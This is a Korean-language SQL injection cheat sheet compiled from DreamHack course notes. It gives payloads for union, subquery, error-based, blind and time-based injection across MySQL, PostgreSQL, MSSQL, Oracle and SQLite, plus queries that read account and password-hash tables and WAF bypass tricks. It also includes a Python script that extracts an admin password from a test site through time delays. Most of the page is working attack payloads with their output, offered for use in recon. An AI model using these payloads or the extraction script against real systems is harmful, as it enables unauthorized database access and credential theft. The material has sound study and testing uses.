본문으로 건너뛰기

SQL Injection CheatSheet

Wiki Security Web Sqlinjection
목차

예전에 DreamHack SQL Injection 파트에서 필요한 부분만 노션에 정리해놨던 것을 한 페이지에서 찾아 볼 수 있게끔 통합해봤습니다. https://dreamhack.io/lecture/roadmaps/13

수동으로 SQL Injection을 찾거나 Recon 할 때 유용하게 쓰일 듯 합니다.

🌟 Union SQL Injection
#

다수의 SELECT 구문의 결과를 결합합니다. 이전 SELECT 구문 과 UNION SELECT 구문의 결과 컬럼의 수가 같아야 합니다.

SELECT * FROM UserTable UNION SELECT "skitttles", "skitttles PW";

/*
+-----------+--------------+
| username  | password     |
+-----------+--------------+
| admin     | admin        |
| guest     | guest        |
| skitttles | skitttles PW |
+-----------+--------------+
3 rows in set (0.01 sec)
*/

Select id from users where id='' union select pw from users where id='admin'-- ' and upw=''

MSSQL 등 특정 DBMS에서는 이전 컬럼과 UNION SELECT 구문의 컬럼의 타입이 같아야 합니다.

SELECT 'ABC' UNION SELECT 123;

/*
Conversion failed when converting the varchar value 'ABC' to data type int.
*/

🌟 Subquery
#

서브 쿼리에서는 SELECT 구문 만 사용 가능합니다. SELECT 구문이 아닌 구문에서 SQL Injection이 발생해도 Subquery의 SELECT 구문을 사용하여 테이블의 데이터에 접근할 수 있습니다.

SELECT 1,2,3,(SELECT 456);

/*
+---+---+---+--------------+
| 1 | 2 | 3 | (SELECT 456) |
+---+---+---+--------------+
| 1 | 2 | 3 |          456 |
+---+---+---+--------------+
1 row in set (0.00 sec)
*/

COLUMNS 절
#

칼럼 절에서 사용 시 단일 행(Single row), 단일 컬럼(Singloe Column)의 결과가 반환 되도록 해야 합니다.

SELECT username, (SELECT "ABCD") FROM users;

/*
+----------+-----------------+
| username | (select "ABCD") |
+----------+-----------------+
| admin    | ABCD            |
| guest    | ABCD            |
+----------+-----------------+
2 rows in set (0.00 sec)
*/

SELECT username, (SELECT "ABCD" UNION SELECT 1234) FROM users;

-- ERROR 1242 (21000): Subquery returns more than 1 row

SELECT username, (SELECT "ABCD", 1234) FROM users;

-- ERROR 1241 (21000): Operand should contain 1 column(s)

FROM 절
#

다중 행, 다중 컬럼의 결과를 사용 가능합니다.

SELECT * FROM (SELECT *, 1234 FROM users) as u;

/*
+----------+------+
| username | 1234 |
+----------+------+
| admin    | 1234 |
| guest    | 1234 |
+----------+------+
2 rows in set (0.00 sec)
*/

WHERE 절
#

다중 행의 결과를 사용 가능합니다.

SELECT * FROM users WHERE username IN (SELECT "admin" UNION SELECT "guest");

/*
+----------+----------+
| username | password |
+----------+----------+
| admin    | admin    |
| guest    | guest    |
+----------+----------+
2 rows in set (0.00 sec)
*/

🌟 Error Based
#

Syntax Error와 같이 DBMS에서 해당 쿼리가 실행되기 전에 검증 가능한 에러가 아닌, Runtime 중에 발생하는 에러를 이용합니다.

extractvalue
#

XPath 조건식을 지정해서 해당하는 XML 노드의 값을 반환합니다.

  • 사용 방법
    EXTRACTVALUE(XML 형식의 , XPath 조건식)
    
  • 예시
    SELECT EXTRACTVALUE(BOOK_XML, '/STORE/BOOK/TITLE') FROM BOOK_LIST;
    
    /*
    - BOOK_XML의 내용
    <STORE> <BOOK> <TITLE>어린 왕자</TITLE> <AUTHOR>앙투안 드 생택쥐페리</AUTHOR> <PRICE>9,800</PRICE> </BOOK> </STORE>
    
    - 예시 쿼리 결과
    어린 왕자
    */
    
    SELECT extractvalue('<a>test</a> <b>abcd</b>', '/a');
    
    /*
    +-----------------------------------------------+
    | extractvalue('<a>test</a> <b>abcd</b>', '/a') |
    +-----------------------------------------------+
    | test                                          |
    +-----------------------------------------------+
    1 row in set (0.00 sec)
    */
    

두번째 인자에 올바르지 않은 XPATH 식을 입력하게 되면 올바르지 않은 XPATH 식이라는 에러와 함께 해당 인자가 함께 출력됩니다.

SELECT extractvalue(1, ':abcd');

-- ERROR 1105 (HY000): XPATH syntax error: ':abcd'
-- ":" 로 시작하면 올바르지 않은 XPATH 식

SELECT extractvalue(1,concat(0x3a,version()));

/*
ERROR 1105 (HY000): XPATH syntax error: ':5.7.29-0ubuntu0.16.04.1-log'
*/

서브 쿼리를 통해 원하는 테이블의 데이터를 추출

mysql> SELECT extractvalue(1,concat(0x3a,(SELECT password FROM users WHERE username='admin')));

/*
ERROR 1105 (HY000): XPATH syntax error: ':Th1s_1s_admin_PASSW@rd'
*/

MySQL
#

SELECT updatexml(null,concat(0x0a,version()),null);

/*
ERROR 1105 (HY000): XPATH syntax error: '
5.7.29-0ubuntu0.16.04.1-log'
*/

SELECT extractvalue(1,concat(0x3a,version()));

/*
ERROR 1105 (HY000): XPATH syntax error: ':5.7.29-0ubuntu0.16.04.1-log'
*/

SELECT COUNT(*), CONCAT((SELECT version()),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x;

/*
ERROR 1062 (23000): Duplicate entry '5.7.29-0ubuntu0.16.04.1-log:1' for key '<group_key>'
*/

MSSQL
#

SELECT convert(int,@@version);
SELECT cast((SELECT @@version) as int);

/*
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2014 - 12.0.2000.8 (Intel X86) 
	Feb 20 2014 19:20:46 
	Copyright (c) Microsoft Corporation
	Express Edition on Windows NT 6.3 <X64> (Build 9600: ) (WOW64) (Hypervisor)
' to data type int.
*/

Oracle
#

SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual;

/*
ORA-20000: Oracle Text error:
DRG-11701: thesaurus Oracle Database 18c Express Edition Release 18.0.0.0.0 - Production does not exist
ORA-06512: at "CTXSYS.DRUE", line 183
ORA-06512: at "CTXSYS.DRITHSX", line 555
ORA-06512: at line 1
*/

SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual;

/*
ORA-53044: invalid tag: ORACLE DATABASE 18C EXPRESS EDITION RELEASE 18.0.0.0.0 - PRODUCTION
ORA-06512: at "ORDSYS.ORDERROR", line 5
ORA-06512: at "ORDSYS.ORD_DICOM_ADMIN_PRV", line 1390
ORA-06512: at "ORDSYS.ORD_DICOM_ADMIN_PRV", line 475
ORA-06512: at "ORDSYS.ORD_DICOM_ADMIN_PRV", line 8075
ORA-06512: at "ORDSYS.ORD_DICOM", line 756
ORA-06512: at line 1
*/

🌟 Blind SQL Injection
#

기본
#

mysql> select * from users where username='admin' and ascii(substr(password, 1, 1))>79;

/*
+----------+----------+
| username | password |
+----------+----------+
| admin    | P@ssword |
+----------+----------+
1 row in set (0.00 sec)
*/

IF 구문 또한 많이 사용합니다.

MySQL
#

SELECT IF(1=1, True, False);

/*
+----------------------+
| IF(1=1, True, False) |
+----------------------+
|                    1 |
+----------------------+
1 row in set (0.00 sec)
*/

SQLite
#

SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END;

/*
true
*/

MSSQL
#

if (SELECT 'test') = 'test' SELECT 1234;

/*
Execution time: 0 sec, rows selected: 1, rows affected: 0, absolute service time: 0,17 sec, absolute service time: 0,17 sec
	(No column name)
1	1234
*/

Application Logic
#

아래와 같은 테이블이 있습니다.

select * from users;

/*
+----------+------------------------+
| username | password               |
+----------+------------------------+
| admin    | Password_for_admin     |
| guest    | guest_Password         |
+----------+------------------------+
2 rows in set (0.00 sec)
*/

UNION 구문을 이용해 참/거짓을 판별하여 Blind SQL Injection을 할 수 있습니다.

/?username=' union select 'admin' -- -
▶▶ True

/?username=' union select 'not admin' -- -
▶▶ False

/?username=' union select if(substr(password,1,1)='A', 'admin', 'not admin') from users where username='admin' -- -
▶▶ False

/?username=' union select if(substr(password,1,1)='B', 'admin', 'not admin') from users where username='admin' -- -
▶▶ False

...

/?username=' union select if(substr(password,1,1)='P', 'admin', 'not admin') from users where username='admin' -- -
▶▶ True

...

/?username=' union select if(substr(password,2,1)='a', 'admin', 'not admin') from users where username='admin' -- -
▶▶ True

🌟 Time Based Blind SQL Injection
#

DBMS에서 제공하는 함수를 이용하거나 무거운 연산과정을 발생시켜 쿼리 처리 시간을 지연시키는 Heavy query 등이 있습니다.

SELECT IF(1=1, sleep(1), 0);

/*
mysql> SELECT IF(1=1, sleep(1), 0);
+----------------------+
| IF(1=1, sleep(1), 0) |
+----------------------+
|                    0 |
+----------------------+
1 row in set (1.00 sec)
*/

SELECT IF(1=0, sleep(1), 0);

/*
mysql> SELECT IF(1=0, sleep(1), 0);
+----------------------+
| IF(1=0, sleep(1), 0) |
+----------------------+
|                    0 |
+----------------------+
1 row in set (0.00 sec)
*/

MySQL
#

sleep 함수

SLEEP(duration)

/*
mysql> SELECT SLEEP(1);
+----------+
| SLEEP(1) |
+----------+
|        0 |
+----------+
1 row in set (1.00 sec)
*/

benchmark 함수 expr 식을 count 수만큼 실행하며 시간 지연이 발생합니다.

BENCHMARK(count, expr)
SELECT BENCHMARK(40000000,SHA1(1));

/*
+-----------------------------+
| BENCHMARK(40000000,SHA1(1)) |
+-----------------------------+
|                           0 |
+-----------------------------+
1 row in set (10.78 sec)
*/

information_schema.tables과 같이 많은 수의 데이터가 포함된 테이블을 연산 과정에 포함 시켜 시간을 지연 시킵니다.

SELECT (SELECT count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C) as heavy;

/*
+----------+
| heavy    |
+----------+
| 24897088 |
+----------+
1 row in set (1.41 sec)
*/

충분한 시간 지연이 발생하기에 데이터가 적은 경우에는 테이블을 여러 번 추가합니다.

SELECT (SELECT count(*) FROM information_schema.tables A, information_schema.tables B) as heavy;

/*
+-------+
| heavy |
+-------+
| 85264 |
+-------+
1 row in set (0.01 sec)
*/

SELECT (SELECT count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C) as heavy;

/*
+----------+
| heavy    |
+----------+
| 24897088 |
+----------+
1 row in set (1.38 sec)
*/

MSSQL
#

waitfor

waitfor delay 'time_to_pass';

/*
> SELECT '' if((select 'abc')='abc') waitfor delay '0:0:1';
Execution time: 1,02 sec, rows selected: 0, rows affected: 0, absolute service time: 1,17 sec, absolute service time: 1,16 sec
*/

Heavy query

select (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C, information_schema.columns D, information_schema.columns E, information_schema.columns F)

/*
Execution time: 6,36 sec, rows selected: 1, rows affected: 0, absolute service time: 6,53 sec, absolute service time: 6,53 sec
*/

SQLite
#

Heavy query : RANDOMBLOB에 의해 많은 수의 데이터가 생성되며, 변환 과정과 함수를 거치며 시간이 지연됩니다.

LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))

/*
sqlite> .timer ON
sqlite> SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1500000000/2))));
0
Run Time: real 9.740 user 7.983349 sys 1.743972
*/

🌟 Error Based Blind SQL Injection
#

MySQL에서 처리할 수있는 DOUBLE 타입의 최대 값을 넘겨 에러를 발생시키는 연산을 이용한 방법으로, if 구문 첫번째 매개변수에 평가 할 식을 위치시킵니다.

select if(1=1, 9e307*2,0);

/*
ERROR 1690 (22003): DOUBLE value is out of range in '(9e307 * 2)'
*/

select if(1=0, 9e307*2,0);

/*
+--------------------+
| if(1=0, 9e307*2,0) |
+--------------------+
|                  0 |
+--------------------+
1 row in set (0.00 sec)
*/

🌟 Short-circuit evaluation
#

A 식과 B 식이 있을 때 AND 연산은 모두 참이 되어야 결과가 참이 됩니다. 이때, A가 거짓이라면 B는 연산을 하지 않더라도 결과가 거짓이라는 것을 알 수 있기 때문에 실제로 B 식을 수행하지 않는 것을 의미합니다. A에 평가할 식을 위치시킵니다.

mysql> SELECT 0 AND SLEEP(1);

/*
+----------------+
| 0 AND SLEEP(1) |
+----------------+
|              0 |
+----------------+
1 row in set (0.00 sec)
*/

mysql> SELECT 1 AND SLEEP(10);

/*
+-----------------+
| 1 AND SLEEP(10) |
+-----------------+
|               0 |
+-----------------+
1 row in set (10.04 sec)
*/

mysql> SELECT 1=1 or 9e307*2;

/*
+----------------+
| 1=1 or 9e307*2 |
+----------------+
|              1 |
+----------------+
1 row in set (0.00 sec)
*/

mysql> SELECT 1=0 or 9e307*2;

/*
ERROR 1690 (22003): DOUBLE value is out of range in '(9e307 * 2)'
*/

🌟 Blind SQL Injection Script
#

#!/usr/bin/env python3
import requests
URL = "<http://sqltest.skitttles.me>"
DATA = ""
for index in range(1, 100):
  for chars in range(32, 127):
    payload = "/?username=' or if((select ord(substr(password,%s,1)) from users where username='admin')=%s, sleep(2), 0)-- -" %(index, chars)
    addr = URL + payload 
    ret = requests.get(addr)
    loadTime = ret.elapsed.total_seconds()
    if loadTime > 1.9:
      DATA += chr(chars)
      print(DATA)
      break
print(DATA)

🌟 DBMS Fingerprinting
#

▶ 상황 별 페이로드
#

결과 값이 출력 될 때 DBMS 별로 버전을 나타내는 함수 및 데이터는 다릅니다.

@@version
version()

결과 값이 출력 되지 않지만 에러가 출력 될 때 에러 메세지를 통해 DBMS를 파악합니다.

select 1 union select 1, 2; 
-- MySQL => ERROR 1222 (21000): The used SELECT statements have a different number of columns 

(select * from not_exists_table) 
-- SQLite => Error: no such table: not_exists_table


결과 값이 출력 되지 않을 때

-- True / False를 확인 가능한 경우, Blind로 함수, 조건문을 사용해 테스트합니다. 
mid(@@version, 1, 1)='5';
substr(version(), 1, 1)='P';

출력이 존재하지 않는 경우

-- Time Based 구문을 사용합니다. sleep 함수를 지원하지 않는 DBMS도 존재합니다.
sleep(10)
pg_sleep(10)

▶ MySQL
#

Version
#

select @@version; # select version();

/*
+-------------------------+
| @@version               |
+-------------------------+
| 5.7.29-0ubuntu0.16.04.1 |
+-------------------------+
1 row in set (0.00 sec)
*/

Error
#

select 1 union select 1, 2;

/*
ERROR 1222 (21000): The used SELECT statements have a different number of columns
*/

Blind
#

@@version 

-- => '5.7.29-0ubuntu0.16.04.'

mid(@@version, 1, 1)

-- => '5'

select mid(@@version, 1, 1)='5';

/*
+------------------------+
| mid(@@version,1,1)='5' |
+------------------------+
|                      1 |
+------------------------+
1 row in set (0.00 sec)
*/

select mid(@@version, 1, 1)='6';

/*
+------------------------+
| mid(@@version,1,1)='6' |
+------------------------+
|                      0 |
+------------------------+
1 row in set (0.00 sec)
*/

Time Based
#

mysql> select sleep(10);

/*
+-----------+
| sleep(10) |
+-----------+
|         0 |
+-----------+
1 row in set (10.01 sec)
*/

▶ PostgreSQL
#

Version
#

select version();

/*
version
--------
 PostgreSQL 12.2 (Debian 12.2-2.pgdg100+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 8.3.0-6) 8.3.0, 64-bit
(1 row)
*/

Error
#

select 1 union select 1, 2;

/*
ERROR:  each UNION query must have the same number of columns
LINE 1: select 1 union select 1, 2;
*/

Blind
#

version()
-- => 'PostgreSQL ...'
substr(version(), 1, 1)
-- => 'P'

select substr(version(), 1, 1)='P';

/*
 ?column?
----------
 t
(1 row)
*/

select substr(version(), 1, 1)='Q';

/*
 ?column?
----------
 f
(1 row)
*/

Time Based
#

select pg_sleep(10);

/*
 pg_sleep
----------
(1 row)
*/

▶ MSSQL
#

Version
#

select @@version;

/*
Microsoft SQL Server 2017 (RTM-CU13) (KB4466404) - 14.0.3048.4 (X64)
	Nov 30 2018 12:57:58
	Copyright (C) 2017 Microsoft Corporation
	Developer Edition (64-bit) on Linux (Ubuntu 16.04.5 LTS)
(1 rows affected)
*/

Error
#

select 1 union select 1, 2;

/*
Msg 205, Level 16, State 1, Server e2cb36ec2593, Line 1
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.asdf
*/

Blind
#

@@version
-- => 'Microsoft SQL Server...', 

substring(@@version, 1, 1)
-- 'M'

select 1 from test where substring(@@version, 1, 1)='M';

/*
-----------
          1
(1 rows affected)
*/

select 1 from test where substring(@@version, 1, 1)='N';
go;

/*
-----------
(0 rows affected)
*/

Time Based
#

select (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C, information_schema.columns D, information_schema.columns E, information_schema.columns F)

▶ SQLite
#

Version
#

select sqlite_version();

-- 3.11.0

Error
#

select 1 union select 1, 2;

-- Error: SELECTs to the left and right of UNION do not have the same number of result columns

Blind SQL Injection
#

sqlite_version()
-- => '3.11.0', substr(sqlite_version(), 1, 1) => '3'

select substr(sqlite_version(), 1, 1)='3';

-- 1

select substr(sqlite_version(), 1, 1)='4';

-- 0

Time Based SQL Injection
#

SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1500000000/2))));
0
Run Time: real 9.740 user 7.983349 sys 1.743972

🌟 System Tables
#

▶ MySQL
#

MySQL은 스키마와 데이터베이스가 동일하며, 기본적으로  information_schemamysqlperformance_schemasys 데이터베이스가 있습니다.

show databases;

/*
+--------------------+
| Database           |
+--------------------+
| information_schema |
| skitttles          | # 이용자 정의 데이터베이스
| mysql              |
| performance_schema |
| sys                |
+--------------------+
*/

schema 정보
#

select TABLE_SCHEMA from information_schema.tables group by TABLE_SCHEMA;

/*
+--------------------+
| TABLE_SCHEMA       |
+--------------------+
| information_schema |
| skitttles          |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.01 sec)
*/

Table 정보
#

select TABLE_SCHEMA, TABLE_NAME from information_schema.TABLES;

/*
+--------------------+----------------+
| TABLE_SCHEMA       | TABLE_NAME     |
+--------------------+----------------+
| information_schema | CHARACTER_SETS |
...
| skitttles          | users          |
| mysql              | db             |
...
+--------------------+----------------+
292 rows in set (0.01 sec)
*/

Column 정보
#

select TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME from information_schema.COLUMNS;

/*
+--------------------+----------------+--------------------+
| TABLE_SCHEMA       | TABLE_NAME     | COLUMN_NAME        |
+--------------------+----------------+--------------------+
| information_schema | CHARACTER_SETS | CHARACTER_SET_NAME |
...
| skitttles          | users          | uid                |
| skitttles          | users          | upw                |
...
| mysql              | db             | Db                 |
| mysql              | db             | User               |
...
+--------------------+----------------+--------------------+
3132 rows in set (0.07 sec)
*/

실시간 실행 쿼리 확인
#

select * from information_schema.PROCESSLIST;

/*
+-------------------------------------------------+
| info                                            |
+-------------------------------------------------+
| select info from information_schema.PROCESSLIST |
+-------------------------------------------------+
1 row in set (0.00 sec)
*/

mselect user, db, command, current_statement from sys.session;

/*
mysql> select user,current_statement from sys.session;
+----------------+------------------------------------------------+
| user           | current_statement                              |
+----------------+------------------------------------------------+
| root@localhost | select user,current_statement from sys.session |
+----------------+------------------------------------------------+
1 row in set (0.05 sec)
*/

DBMS 계정 정보
#

select GRANTEE,PRIVILEGE_TYPE,IS_GRANTABLE from information_schema.USER_PRIVILEGES;

/*
+-------------------------+-------------------------+--------------+
| GRANTEE                 | PRIVILEGE_TYPE          | IS_GRANTABLE |
+-------------------------+-------------------------+--------------+
| 'root'@'localhost'      | SELECT                  | YES          |
...
| 'root'@'localhost'      | SUPER                   | YES          |
...
| 'user_test'@'localhost' | USAGE                   | NO           |
+-------------------------+-------------------------+--------------+
58 rows in set (0.00 sec)
*/

select User, authentication_string from mysql.user;

/*
+------------------+-------------------------------------------+
| User             | authentication_string                     |
+------------------+-------------------------------------------+
| root             | *...                                      |
| mysql.sys        | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| mysql.session    | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| user_test        | *...                                      |
+------------------+-------------------------------------------+
4 rows in set (0.00 sec)
*/

▶ PostgreSQL
#

PostgreSQL은 스키마와 데이터베이스가 다르며 해당하는 정보는 아래의 쿼리를 통해 확인할 수 있습니다.

select datname from pg_database;

/*
  datname
-----------
 postgres
 template1
 template0
(3 rows)
*/
postgres> select nspname from pg_catalog.pg_namespace;

/*
      nspname
--------------------
 pg_toast
 pg_temp_1
 pg_toast_temp_1
 pg_catalog
 public
 information_schema
(6 rows)
*/

주요 정보를 담고 있는 테이블을 포함한 스키마는 pg_cataloginformation_schema가 있습니다.

select table_name from information_schema.tables where table_schema='pg_catalog';

/*
           table_name
---------------------------------
pg_shadow
pg_settings
pg_database
pg_stat_activity
...
*/
postgres> select table_name from information_schema.tables where table_schema='information_schema';
/*
              table_name
---------------------------------------
schemata
tables
columns
*/

pg_catalog database
#

DBMS 계정 정보

select usename, passwd from pg_catalog.pg_shadow;

/*
 usename  |               passwd
----------+-------------------------------------
 postgres | md5df6802cb10f4000bf81de27261c1155f
(1 row)
*/

setting 정보

select name, setting from pg_catalog.pg_settings;

/*
                  name                  |                 setting
----------------------------------------+------------------------------------------
 allow_system_table_mods                | off
 application_name                       | psql
*/

database 정보

select datname from pg_catalog.pg_database;

/*
  datname
-----------
 postgres
 template1
 template0
(3 rows)
*/

실시간 실행 쿼리 확인

postgres> select usename, query from pg_catalog.pg_stat_activity;

/*
 usename  |                          query
----------+---------------------------------------------------------
 postgres |
          |
 postgres | select usename, query from pg_catalog.pg_stat_activity;
          |
          |
          |
*/

information_schema database
#

schema 정보

select catalog_name, schema_name, schema_owner from information_schema.schemata;

/*
 catalog_name |    schema_name     | schema_owner
--------------+--------------------+--------------
 postgres     | information_schema | postgres
 postgres     | public             | postgres
 postgres     | pg_catalog         | postgres
 postgres     | pg_toast_temp_1    | postgres
 postgres     | pg_temp_1          | postgres
 postgres     | pg_toast           | postgres
(6 rows)
*/

table 정보

select table_schema, table_name from information_schema.tables;

/*
    table_schema    |              table_name
--------------------+---------------------------------------
 pg_catalog         | pg_statistic
...
 information_schem  | information_schema_catalog_name
...
*/

column 정보

select table_schema, table_name, column_name from information_schema.columns;

/*
    table_schema    |      table_name         |    column_name
--------------------+-------------------------+------------------
 pg_catalog         | pg_stat_user_indexes    | relid
...
 information_schema | view_routine_usage      | specific_name
...
*/

▶ MSSQL
#

Database 정보

SELECT name FROM master..sysdatabases;

/*
name
-------
master
tempdb
model
msdb
skitttles # 이용자 정의 데이터베이스 (예시)
*/

SELECT DB_NAME(number);

/*
number
0 = 현재 데이터베이스
수를 변경하며 다른 데이터베이스를 조회할 수 있습니다.
*/

Table 정보

SELECT name FROM skitttles..sysobjects WHERE xtype = 'U';

# xtype='U'  이용자 정의 테이블을 의미합니다.
/*
name
-------
users
*/

SELECT table_name FROM skitttles.information_schema.tables;

/*
table_name
-----------
users
*/

Column 정보

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'users');

/*
name
-----
uid
upw
*/

SELECT table_name, column_name FROM skitttles.information_schema.columns;

/*
table_name	column_name
-------------------------
users		uid
users		upw
*/

DBMS 계정 정보

SELECT name, password_hash FROM master.sys.sql_logins;

/*
name		password_hash
--------------------------
sa			NULL
skitttles NULL
*/

SELECT * FROM master..syslogins;

▶ Oracle
#

databases 정보

SELECT DISTINCT owner FROM all_tables

table 정보

SELECT owner, table_name FROM all_tables

Column 정보

SELECT column_name FROM all_tab_columns WHERE table_name = 'users'

DBMS 계정 정보

SELECT * FROM all_users

▶ SQLite
#

SQLite에서는 sqlite_master 시스템 테이블을 이용할 수 있습니다. 해당 테이블에는 생성되어 있는 테이블 등의 정보와 sql 를 획득할 수 있습니다.

sqli.header on;
select * from sqlite_master;

/*
type|name|tbl_name|rootpage|sql
table|users|users|2|CREATE TABLE users (uid text, upw text)
*/

🌟 WAF Bypass
#

대소문자 검사 미흡
#

UnIoN SeLecT 1,2,3
selECT SlEep(5)

탐지 시 처리 미흡
#

UNunionION SELselectECT 1,2 --
-- => UNION SELECT 1,2 --  

문자열 검사 미흡
#

mysql> SELECT reverse('nimda'), concat('adm','in'), x'61646d696e', 0x61646d696e;

/*
+------------------+--------------------+---------------+--------------+
| reverse('nimda') | concat('adm','in') | x'61646d696e' | 0x61646d696e |
+------------------+--------------------+---------------+--------------+
| admin            | admin              | admin         | admin        |
+------------------+--------------------+---------------+--------------+
1 row in set (0.00 sec)
*/

연산자 검사 미흡
#

*^, =, !=, %, /, , &, &&, |, ||, >, <, XOR, DIV, LIKE, RLIKE, REGEXP, IS, IN, NOT, MATCH, AND, OR, BETWEEN, ISNULL 등의 연산자를 사용할 수 있습니다.

 mysql> select 1 || 1;
 
 /*
 +--------+
| 1 || 1 |
+--------+
|      1 |
+--------+
1 row in set (0.00 sec)
*/

공백 탐지
#

mysql> SELECT/**/'abc';

/*
+-----+
| abc |
+-----+
| abc |
+-----+
1 row in set (0.00 sec)
*/

mysql> select`username`,(password)from`users`WHERE`username`='admin';

/*
+----------+----------------+
| username | password       |
+----------+----------------+
| admin    | admin_password |
+----------+----------------+
1 row in set (0.00 sec)
*/